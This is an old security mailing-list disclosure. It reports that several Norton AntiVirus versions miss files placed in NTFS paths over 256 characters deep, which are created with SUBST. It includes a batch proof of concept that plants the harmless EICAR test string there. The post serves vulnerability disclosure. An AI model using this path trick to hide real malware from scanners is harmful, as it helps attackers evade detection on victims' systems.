Long path exploit on NTFS

[hans.somers () nl abnamro com]

> Long path exploit on NTFS
> =====================
> The filesystem NTFS seems to be a hiding place for virusses if you use a
file path which
> exceeds 256 charaters.
>
> What is the case?
> The filepath (drive + folderpath + filename) theoraticly can take up to
32000 charaters if
> the filesystem in use is NTFS. However, the way in wich Windows NT (4.0,
2000 and
> XP) access this filesystem a maximum of 256 characters is in place. If
you try to go
> deeper, you will experience a "Path too long" error.
> In these Operating System there is a way to substitute a long folderpath,
using
> the "SUBST" command. If you change your current drive to the substituted
drive, the
> pathlength is reset to 3 (Q:\ e.g.) and Windows NT allows you to create
an even deeper
> path.
> Normally this would not alarm anyone, however, i discovered that my
favorite
> virusscanner (Norton AntiVirus) was not able to follow the deep path
where i created the
> EICAR-test string. So i created a very simple batchfile to demonstrate
this exploit.
> My virusscanner will only find this virus is the SUBST drive is availible
during the scan.
> I have tested this on the following platforms:
> Windows NT 4.0 SP4
> Windows NT 4.0 SP6a
> Windows 2000 Professional SP2
> Windows XP Pro
> I have determined that the following versions of Norton AntiVirus will
not follow
> the deep path during a complete scan:
> Norton AntiVirus 5.0
> Norton AntiVirus 7.5.1
> Norton Antivirus 8.00.58
>
> I suspect that other virusscanners will encounter the same "bug" so you
might try the
> sample script that i created. Additionally, other tools (quotamanagers,
inventory tools
> etc) that gather information from a NTFS partition might reveal the same
bug.
> After running the script below, remove the substituted drive (SUBST Q:
/D) and run a
> full scan on your C-partition. I suspect that the Eicar-virus will not be
found.
> Additionally, re-create the substituted drive and re-run the scan. Under
normal conditions
> the Eicar-virus will be found and removed (depending on your settings).
>
> As far as i can see, there is no real remedy against this exploit. I hope
this message will
> pass through the proper channels, so the responsible parties will act on
this.
> Responses on this posting at my address are welcome.
>
>
> Hans Somers (hans.somers () nl abnamro com)
>
> Sample script:
> ===========
> @echo off
> cls
> echo Start test-script NTFS-limit
> @echo Create a filepath to the limit of NTFS
> md
> c:\temp\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890
> \1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\12345
> 67890\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\
> 123456789
> cd
> c:\temp\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890
> \1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\12345
> 67890\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\
> 123456789
> @echo Create the Eicar test-string for PoC. This should be detected
normally if you
> have an active virusscanner.
> echo
> X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
> > EICAR.TXT
> echo. >>EICAR.TXT
> @echo Activate the Eicar test-string
> copy EICAR.TXT EICAR1.COM >NUL
> @echo Create a subst-drive Q: for this path
> subst Q:
> c:\temp\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890
> \1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\12345
> 67890\1234567890\1234567890\1234567890\1234567890\1234567890\1234567890\
> 123456789
> @echo Create e even deeper filepath (thus exceeding the limit of NTFS's
explorer)
> md Q:\1234567890\1234567890\1234567890
> @echo Change current folder into "the deep"
> Q:
> cd Q:\1234567890\1234567890\1234567890
> @echo Create the Eicar test-string
> echo
> X5O!P%%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
> > EICAR.TXT
> echo. >>EICAR.TXT
> @echo Activate the Eicar test-string
> copy EICAR.TXT EICAR2.COM >NUL
> EICAR2.COM
> echo .
> echo End of test-script
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